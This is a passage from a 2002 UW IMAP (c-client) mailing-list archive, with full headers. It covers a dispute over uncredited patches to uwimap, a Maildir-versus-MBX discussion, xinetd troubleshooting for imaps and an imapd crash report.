(NIL,GET_DISABLEPLAINTEXT,NIL)) {=0A= PSOUT (" LOGINDISABLED");=0A= ------=_NextPart_000_0061_01C24480.ECC21440-- From pinedev@shivax2.cac.washington.edu Sat Aug 17 14:06:44 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 17 Aug 2002 14:06:44 -0700 (PDT) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7HL6i2P012234 for ; Sat, 17 Aug 2002 14:06:44 -0700 Received: FROM mx1.cac.washington.edu BY mailscan6.cac.washington.edu ; Sat Aug 17 14:06:43 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7HL6d07026669 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sat, 17 Aug 2002 14:06:40 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7HL5PlZ006322; Sat, 17 Aug 2002 14:05:26 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7HL1feY052782 for ; Sat, 17 Aug 2002 14:01:42 -0700 Received: FROM mxu2.u.washington.edu BY mailscan6.cac.washington.edu ; Sat Aug 17 14:01:41 2002 -0700 Received: from mail2.merlins.org (moremagic.merlins.org [204.80.101.251]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7HL1dJY016822 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sat, 17 Aug 2002 14:01:41 -0700 Received: from merlin by mail2.merlins.org with local (Exim 4.04 #168 (Debian)) id 17gAhS-0003rT-00; Sat, 17 Aug 2002 14:01:34 -0700 Message-Id: <20020817210134.GD23760@merlins.org> Date: Sat, 17 Aug 2002 14:01:34 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Marc MERLIN To: c-client@u.washington.edu Cc: MRC@CAC.Washington.EDU Subject: I'm done with UWIMAP, Mark doesn't follow the spirit of open source Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-Sysadmin: BOFH X-URL: http://marc.merlins.org/ X-Operating-System: Proudly running Linux 2.4.14-lvm1.0.1rc4-ext3-0.9.15-grsec-1.8.8-servers11/Debian woody X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN In a nutshell, after rejecting patches that I sent him a while ago (which is ok, mind you), and refusing to make any mention of my patches and/or put a link in his documentation and/or the web site (which is rude, if you ask me), Mark silently re-implemented one of my patches, without giving me any credit whatsoever, and ignoring an inquiry Email I sent him about it. Mark, you are very allowed to do that, your patch was a re-implementation of mine, you merely took the idea and re-wrote it a different (and probably better way). But: - refusing to acknowledge patches that you don't want to include is rude (and I've been told that you've refused perfectly acceptable feature patches from others than me too) - taking the idea of one of the patches, and silently including it in your code after having said that you aren't interested in it and refusing to even link to it, is demonstrating very poor ethics. I'm done with uwimap, the security of my system will only be better as a result. And BTW, your mailbox comparison essay is misleading. I've run MBX on big systems (with autodetection of MBX users and dynamic changing of home, as written in one of the patches I sent you and you ignored), and it doesn't scale. Maildir _is_ the way to go, and I'm going to courier imap with no regrets. (even linux with a slow ext2 FS can handle multiple directory add/scan/delete requests a lot faster that uwimap scans and deals with an MBX file) Marc This is the mail that I sent to Mark and that he never acknowledged: (I gave him a chance to explain himself) ----- Forwarded message from Marc MERLIN ----- From: Marc MERLIN To: MRC@CAC.Washington.EDU Subject: restrictBox a re-implementation of my patch X-Sysadmin: BOFH X-URL: http://marc.merlins.org/ X-Operating-System: Proudly running Linux 2.4.14-lvm1.0.1rc4-ext3-0.9.15-servers11-up/Debian woody Please have a look at http://marc.merlins.org/linux/uwimap/files/imap-2001aRC2.blockfswandering.patch from http://marc.merlins.org/linux/uwimap/ When I sent you the patches, you answered: ---------------------------------------------------------------------------- From: Mark Crispin Subject: Re: [offlist] Several patches for uwimap, please review To: Marc MERLIN Date: Mon, 5 Nov 2001 18:25:21 -0800 (PST) Thank you for your suggested patches. Although these patches would undoubtably be useful for some people, I think that it would be better if you distribute them as third-party patches instead of me. ---------------------------------------------------------------------------- and then, what do I find in a later release of uwimap? restrictBox Err, this more or less a re-implementation of my idea and my patch (yours is most likely better, but I was hoping/expecting that you'd improve my patch as you included it) It would have been nice to let me know you had included that and to credit me for the idea and original patch. Marc ----- End forwarded message ----- -- "A mouse is a device used to point at the xterm you want to type in" - A.S.R. Microsoft is to operating systems & security .... .... what McDonalds is to gourmet cooking Home page: http://marc.merlins.org/ | Finger marc_f@merlins.org for PGP key From pinedev@shivax2.cac.washington.edu Sun Aug 18 09:45:50 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 18 Aug 2002 09:45:50 -0700 (PDT) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7IGjo2P006517 for ; Sun, 18 Aug 2002 09:45:50 -0700 Received: FROM mx1.cac.washington.edu BY mailscan6.cac.washington.edu ; Sun Aug 18 09:45:49 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7IGjj07014073 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 18 Aug 2002 09:45:45 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7IGj7eo083154; Sun, 18 Aug 2002 09:45:07 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7IGg5eY049482 for ; Sun, 18 Aug 2002 09:42:06 -0700 Received: FROM mxu2.u.washington.edu BY mailscan3.cac.washington.edu ; Sun Aug 18 09:42:05 2002 -0700 Received: from mail1.rrz.Uni-Koeln.DE (mail1.rrz.Uni-Koeln.DE [134.95.100.208]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7IGfhJY028055 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL) for ; Sun, 18 Aug 2002 09:41:53 -0700 Received: from [192.168.1.10] (xdsl-213-168-118-136.netcologne.de [213.168.118.136]) (authenticated as user a0620 bits=0) by mail1.rrz.Uni-Koeln.DE (8.12.3/8.12.2) with ESMTP id g7IGfXW5003565 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT); Sun, 18 Aug 2002 18:41:36 +0200 (MEST) Message-Id: <2147483647.1029696088@[192.168.1.10]> Date: Sun, 18 Aug 2002 18:41:28 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Sebastian Hagedorn To: braver@pobox.com Cc: c-client@u.washington.edu Subject: Re: xinetd in the FAQs In-Reply-To: <200208151320.g7FDKjE4028110@angle.badbox.com> References: <200208151320.g7FDKjE4028110@angle.badbox.com> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Spook: nuclear nuke spy secret assassination cia fbi nsa president X-Virus-Scanned: by amavisd-milter (http://amavis.org/) X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN -- braver@pobox.com is rumored to have mumbled on Donnerstag, 15. August=20 2002 9:20 Uhr -0400 regarding xinetd in the FAQs: > Not only that, I downloaded the complete c-client_archive.mbox > and searched it for SSL/TLS. Where exactly do you point to in > those FAQs? My identd is shut down for good... OK, I thought that might be related. The way you phrased your request to=20 Mark sounded like you thought there was no mentioning of xinetd in the FAQ, = that's why I brought it up. >> Being just contaminates the void - Robyn Hitchcock > > BTW, your sig is tres triste -- lighten up, man! > :-) It's gonna be allright! Wow, I never thought of it as being that trist - I look at it as a bonmot=20 or an anaphorism, not as a serious philosophical statement... ;-) Cheers, Sebastian -- Sebastian Hagedorn Ehrenfeldg=FCrtel 156, 50823 K=F6ln, Germany http://www.spinfo.uni-koeln.de/~hgd/ "Being just contaminates the void" - Robyn Hitchcock From pinedev@shivax2.cac.washington.edu Mon Aug 19 05:44:06 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 19 Aug 2002 05:44:06 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7JCi62P031067 for ; Mon, 19 Aug 2002 05:44:06 -0700 Received: FROM mx1.cac.washington.edu BY mailscan4.cac.washington.edu ; Mon Aug 19 05:44:05 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7JChv07002711 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 19 Aug 2002 05:43:57 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7JChLlZ005498; Mon, 19 Aug 2002 05:43:21 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7JCe2eY102222 for ; Mon, 19 Aug 2002 05:40:02 -0700 Received: FROM mxu3.u.washington.edu BY mailscan3.cac.washington.edu ; Mon Aug 19 05:40:01 2002 -0700 Received: from smtp3.cern.ch (smtp3.cern.ch [137.138.131.164]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7JCe0bq013047 for ; Mon, 19 Aug 2002 05:40:00 -0700 Received: from pcitdis09 (pcitdis09.cern.ch [137.138.35.42]) by smtp3.cern.ch (8.12.1/8.12.1) with ESMTP id g7JCe02D006992 for ; Mon, 19 Aug 2002 14:40:00 +0200 (MET DST) Message-Id: Date: Mon, 19 Aug 2002 14:39:59 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Michel Christaller" To: Subject: IMAP toolkit crash MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Authentication-Warning: smtp3.cern.ch: Host pcitdis09.cern.ch [137.138.35.42] claimed to be pcitdis09 X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, I'm using UW-IMAP 2001a and the associated c-client library on Solaris 6 compiled with gcc. >From time to time I'm getting imapd crashs with the following error: Fatal error user=.. mbx=..: Unknown event for execution process:* 502 EXISTS (the number before EXISTS may vary). I'm also getting the error: * 13 FETCH (FLAGS (\Recent \Seen)) Can someone help me ? I did search for relative cases but didn't find one. Thank you very much.. --- Michel Christaller EUROPEAN LABORATORY FOR NUCLEAR RESEARCH IT Division - Mail Service Email: Michel.Christaller@cern.ch CERN,CH-1211 GENEVA 23 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Aug 19 08:10:48 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 19 Aug 2002 08:10:48 -0700 (PDT) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7JFAm2P001593 for ; Mon, 19 Aug 2002 08:10:48 -0700 Received: FROM mx1.cac.washington.edu BY mailscan2.cac.washington.edu ; Mon Aug 19 08:10:46 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7JFAk07005838 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 19 Aug 2002 08:10:46 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7JFAEeo090298; Mon, 19 Aug 2002 08:10:14 -0700 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7JF7PeY085690 for ; Mon, 19 Aug 2002 08:07:25 -0700 Received: FROM mxu1.u.washington.edu BY mailscan5.cac.washington.edu ; Mon Aug 19 08:07:24 2002 -0700 Received: from imail01.net2phone.com (imail01.net2phone.com [66.33.145.25]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7JF7NR8030684 for ; Mon, 19 Aug 2002 08:07:24 -0700 Received: from mailsvr.net2phone.com (exchange.net2phone.com [216.53.60.1]) by imail01.net2phone.com (8.12.2/8.12.2) with ESMTP id g7JF7IPu001650 for ; Mon, 19 Aug 2002 11:07:18 -0400 (EDT) Received: by mailsvr with Internet Mail Service (5.5.2653.19) id ; Mon, 19 Aug 2002 11:07:18 -0400 Message-Id: <6F46FABB90ABD411BD690002B3152FB9D9E57B@lkwmail01> Date: Mon, 19 Aug 2002 11:01:03 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Feiyu Xie To: c-client@u.washington.edu Subject: RE: I'm done with UWIMAP, Mark doesn't follow the spirit of open source MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN We are using courier imap with Maildir as well, for security, speed, and *cough* NFS. I'd consider the Cyrus (which is basicly a Maildir with meta-data files for each user) if we don't use NFS for mail storage... Marc, could you tell us more about what kind of comparison/experience you had with MBX vs. Maildir? This will definitely help people out there... thanks, --Feiyu -----Original Message----- From: Marc MERLIN [mailto:marc_imapd@merlins.org] Sent: Saturday, August 17, 2002 5:02 PM To: c-client@u.washington.edu Cc: MRC@CAC.Washington.EDU Subject: I'm done with UWIMAP, Mark doesn't follow the spirit of open source In a nutshell, after rejecting patches that I sent him a while ago (which is ok, mind you), and refusing to make any mention of my patches and/or put a link in his documentation and/or the web site (which is rude, if you ask me), Mark silently re-implemented one of my patches, without giving me any credit whatsoever, and ignoring an inquiry Email I sent him about it. Mark, you are very allowed to do that, your patch was a re-implementation of mine, you merely took the idea and re-wrote it a different (and probably better way). But: - refusing to acknowledge patches that you don't want to include is rude (and I've been told that you've refused perfectly acceptable feature patches from others than me too) - taking the idea of one of the patches, and silently including it in your code after having said that you aren't interested in it and refusing to even link to it, is demonstrating very poor ethics. I'm done with uwimap, the security of my system will only be better as a result. And BTW, your mailbox comparison essay is misleading. I've run MBX on big systems (with autodetection of MBX users and dynamic changing of home, as written in one of the patches I sent you and you ignored), and it doesn't scale. Maildir _is_ the way to go, and I'm going to courier imap with no regrets. (even linux with a slow ext2 FS can handle multiple directory add/scan/delete requests a lot faster that uwimap scans and deals with an MBX file) Marc This is the mail that I sent to Mark and that he never acknowledged: (I gave him a chance to explain himself) ----- Forwarded message from Marc MERLIN ----- From: Marc MERLIN To: MRC@CAC.Washington.EDU Subject: restrictBox a re-implementation of my patch X-Sysadmin: BOFH X-URL: http://marc.merlins.org/ X-Operating-System: Proudly running Linux 2.4.14-lvm1.0.1rc4-ext3-0.9.15-servers11-up/Debian woody Please have a look at http://marc.merlins.org/linux/uwimap/files/imap-2001aRC2.blockfswandering.pa tch from http://marc.merlins.org/linux/uwimap/ When I sent you the patches, you answered: ---------------------------------------------------------------------------- From: Mark Crispin Subject: Re: [offlist] Several patches for uwimap, please review To: Marc MERLIN Date: Mon, 5 Nov 2001 18:25:21 -0800 (PST) Thank you for your suggested patches. Although these patches would undoubtably be useful for some people, I think that it would be better if you distribute them as third-party patches instead of me. ---------------------------------------------------------------------------- and then, what do I find in a later release of uwimap? restrictBox Err, this more or less a re-implementation of my idea and my patch (yours is most likely better, but I was hoping/expecting that you'd improve my patch as you included it) It would have been nice to let me know you had included that and to credit me for the idea and original patch. Marc ----- End forwarded message ----- -- "A mouse is a device used to point at the xterm you want to type in" - A.S.R. Microsoft is to operating systems & security .... .... what McDonalds is to gourmet cooking Home page: http://marc.merlins.org/ | Finger marc_f@merlins.org for PGP key From pinedev@shivax2.cac.washington.edu Mon Aug 19 14:27:36 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 19 Aug 2002 14:27:36 -0700 (PDT) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7JLRa2P016273 for ; Mon, 19 Aug 2002 14:27:36 -0700 Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Mon Aug 19 14:27:35 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7JLRYEN010182 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 19 Aug 2002 14:27:34 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7JLQweo080024; Mon, 19 Aug 2002 14:26:58 -0700 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7JLOEeY052890 for ; Mon, 19 Aug 2002 14:24:14 -0700 Received: FROM mxu4.u.washington.edu BY mailscan2.cac.washington.edu ; Mon Aug 19 14:24:12 2002 -0700 Received: from angle.badbox.com (bgp542844bgs.ewndsr01.nj.comcast.net [68.38.146.249]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7JLOCs8007458 for ; Mon, 19 Aug 2002 14:24:12 -0700 Received: (from alexy@localhost) by angle.badbox.com (8.12.5/8.12.5) id g7JLNwUM027404; Mon, 19 Aug 2002 17:23:58 -0400 Message-Id: <200208192123.g7JLNwUM027404@angle.badbox.com> Date: Mon, 19 Aug 2002 17:23:58 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: braver@pobox.com To: c-client@u.washington.edu Cc: Marc MERLIN , Mark Crispin Subject: Marc v. Mark Syndrome, or Cathedral v. Bazaar X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN [ In response to Marc Merlin's complaint that Mark Crispin doesn not acknowledge his patches but uses something like them with modifications... ] Marc -- apparently, Mark is very much overloaded by supporting UW imap singlei-handedly for so many platforms and so many years. In my brief time spent searching archives, I see that it's a one-man operation, and as such it's an amazing feat as compared to Apache and other huge teams. Thanks to clever decisions, some of which force me to type the silly "I accept the risk" header into /etc/cf-client.cf and ~/.imaprc (after which it's just fine, contrary to the scary, scary, scary docs:). Minimalism is the only way to make it possible, so you're probably overreacting in your assessment. Mark might have also considered patches like yours before, and forcing people to explain the wrongs they didn't commit usually are sent to /dev/null, especially if there's a lot of real problems and it looks like a non-issue to the other side. This is not to say patches should not be acknowledged, but rather it stems from the feature of the UW imap project that Mark is de-facto BDFL, like Linus (Benevolent Dictator For Life), and you may like it or not, which is your prerogative, but you will not cause anybody to cry by announcing your switch to some other imap implementation. Except for interesting comparisons, which is not bad at all. :) As a more serious conclusion, I think Mark should appoint some deputies, like Eric Raymond did with fetchmail, in case, G-d forbid, something kicks him out of the net for a while. If there's a community of mail administrators crucially dependent on UW imap and knowing it to the level of patching, which seems to be the case, the proper thing to do is to form an Apache like group for community maintained code, put it onto Sourceforge, make Mark the only one who can commit patches at first, and he can gradualy appoint other established people to do that. This way, all patches would be evaluated by the community and there wouldn't be single points of failure. Otherwise it will lead to the abovementioned kind of a problem, which I'd call Marc v. Mark merge conflict, Marc/k Syndrome for short. :) Just my $0.02 (from too much exposure to Wharton:). -- Cheers, Alexy V. Khrabrov :: www.setup.org :: Age Quod Agis -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Aug 19 16:02:00 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 19 Aug 2002 16:02:00 -0700 (PDT) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7JN202P020815 for ; Mon, 19 Aug 2002 16:02:00 -0700 Received: FROM mx2.cac.washington.edu BY mailscan1.cac.washington.edu ; Mon Aug 19 16:01:59 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7JN1rEN013495 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 19 Aug 2002 16:01:53 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7JN1JR8024502; Mon, 19 Aug 2002 16:01:20 -0700 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7JMFWeY036210 for ; Mon, 19 Aug 2002 15:15:33 -0700 Received: FROM mxu2.u.washington.edu BY mailscan1.cac.washington.edu ; Mon Aug 19 15:15:32 2002 -0700 Received: from angle.badbox.com (bgp542844bgs.ewndsr01.nj.comcast.net [68.38.146.249]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7JMFVJX013143 for ; Mon, 19 Aug 2002 15:15:31 -0700 Received: (from alexy@localhost) by angle.badbox.com (8.12.5/8.12.5) id g7JMFOOC027843; Mon, 19 Aug 2002 18:15:24 -0400 Message-Id: <200208192215.g7JMFOOC027843@angle.badbox.com> Date: Mon, 19 Aug 2002 18:15:24 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: braver@pobox.com (Alexy Khrabrov) To: c-client@u.washington.edu Cc: Steve Barber Subject: xinetd v. UW imap X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Quoting Steve Barber, the cluebat supplier: ----- Alexy - Glad to hear you've got things working but I think something is still not quite right with your setup. I use xinetd and I didn't have any problems. Unfortunately I've been doing most of my work lately with Cyrus instead of UW imap, so I don't have any particular suggestions for you, but I do know that last time I built UW, it "just worked". If I were you I'd review the installation documentation for something you might have missed (for example, check the entries in /etc/services) Sorry I can't be of more help, but maybe it will help just to tell you that it shouldn't be that hard... Steve ===== Steve -- I use SuSE, which is the best Linux I ever saw, given that I didn't use Debian yet. All of the things are configured properly by default, /etc/services are correct, and replacing xinetd by DJB's tcpserver was another blessing from this investigation. I don't need inetd/xinetd at all, I only need internal imap/imaps for PHP, and I get that with tcpserver, which also claims multiple advantages over xinetd. My problems caused me to suspect xinetd exactly because there was no difference between imapd's behavior via imap/143 v. imaps/993. All the logs, /var/log/mail and /var/log/xinetd.log on SuSE, properly differentiated those invocations of imap v. imaps. xinetd simply failed to convey this to imaps/993 properly, and it always started imapd in text mode. I don't think o anything else but xinetd is responsible. If you can think of anything else, I'd try it. but for now I'm convinced xinetd is to blame! It is configured with SuSE's defaut logging options, log_type = FILE /var/log/xinetd.log log_on_success = HOST EXIT DURATION log_on_failure = HOST ATTEMPT RECORD # only_from = localhost instances = 2 -- you see there's no USERID targeted in FAQs as slowing down things polling identd's -- and error lines in /var/log/mail did say this: Aug 12 17:44:40 angle imapd[3628]: Connection reset by peer, while flushing line user=??? host=UNKNOWN but there's nothing in FAQs against that, and host should be known to xinetd. The proper durations and failure codes imaps=1 were found in xinetd.log each such time, and imap=0 every time. Folks with the plain old inetd didn't report such problems, so everything points to xinetd. Also, tcpserver docs mention various performance deficiences of the *inetd's, so I came better off in all cases with the tcpserver. Feel free to suggest further things to try! Cheers, Alexy -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Aug 19 18:46:41 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 19 Aug 2002 18:46:41 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with SMTP id g7K1kf2P025077 for ; Mon, 19 Aug 2002 18:46:41 -0700 Received: FROM mx1.cac.washington.edu BY mailscan4.cac.washington.edu ; Mon Aug 19 18:46:40 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7K1kd07026819 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 19 Aug 2002 18:46:40 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7K1k6R8005944; Mon, 19 Aug 2002 18:46:07 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g7K1hKeY023902 for ; Mon, 19 Aug 2002 18:43:20 -0700 Received: FROM mxu1.u.washington.edu BY mailscan3.cac.washington.edu ; Mon Aug 19 18:43:19 2002 -0700 Received: from mail2.merlins.org (moremagic.merlins.org [204.80.101.251]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.06) with ESMTP id g7K1hHR9026834 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 19 Aug 2002 18:43:19 -0700 Received: from [12.146.157.2] (port=11196 helo=gandalf.merlins.org) by mail2.merlins.org with asmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 4.04 #168 (Debian)) id 17gy35-0001hR-00; Mon, 19 Aug 2002 18:43:11 -0700 Received: from merlin by gandalf.merlins.org with local (Exim 3.31-VA-mm2 #1 (Debian)) id 17gy2k-00019t-00; Mon, 19 Aug 2002 18:42:50 -0700 Message-Id: <20020820014250.GE7623@merlins.org> Date: Mon, 19 Aug 2002 18:42:50 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Marc MERLIN To: Feiyu Xie , Jeff Breitner , Alexy Khrabrov Cc: c-client@u.washington.edu, MRC@CAC.Washington.EDU Subject: Re: I'm done with UWIMAP, Mark doesn't follow the spirit of open source In-Reply-To: <20020819211057.GA27231@angle.setup.org> <7DFBE66616403040B7740D9380A671C702A68E@EXCHANGE1.developerschoice.com> <6F46FABB90ABD411BD690002B3152FB9D9E57B@lkwmail01> References: <20020817210134.GD23760@merlins.org> <20020819211057.GA27231@angle.setup.org> <20020817210134.GD23760@merlins.org> <7DFBE66616403040B7740D9380A671C702A68E@EXCHANGE1.developerschoice.com> <6F46FABB90ABD411BD690002B3152FB9D9E57B@lkwmail01> Mime-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset=us-ascii X-Sender: X-Sysadmin: BOFH X-URL: http://marc.merlins.org/ X-Operating-System: Proudly running Linux 2.4.14-lvm1.0.1rc4-ext3-0.9.15-servers11-up/Debian woody X-Spam-Status: No, hits=-4.4 required=7.0 tests=IN_REP_TO version=2.21 X-Spam-Level: X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, Aug 19, 2002 at 05:10:57PM -0400, Alexy Khrabrov wrote: > Marc -- apparently, Mark is very much overloaded by > supporting UW imap singlei-handedly for so many platforms > and so many years. In my brief time spent searching archives, I understand that. I maintain a bunch of things myself and have more than a full time job. That said, I try to at least answer my personal mail. > scary, scary, scary docs:). Minimalism is the only way to > make it possible, so you're probably overreacting in your > assessment. Mark might have also considered patches like > yours before, and forcing people to explain the wrongs they > didn't commit usually are sent to /dev/null, especially if > there's a lot of real problems and it looks like a non-issue > to the other side. This is not to say patches should not be > acknowledged, but rather it stems 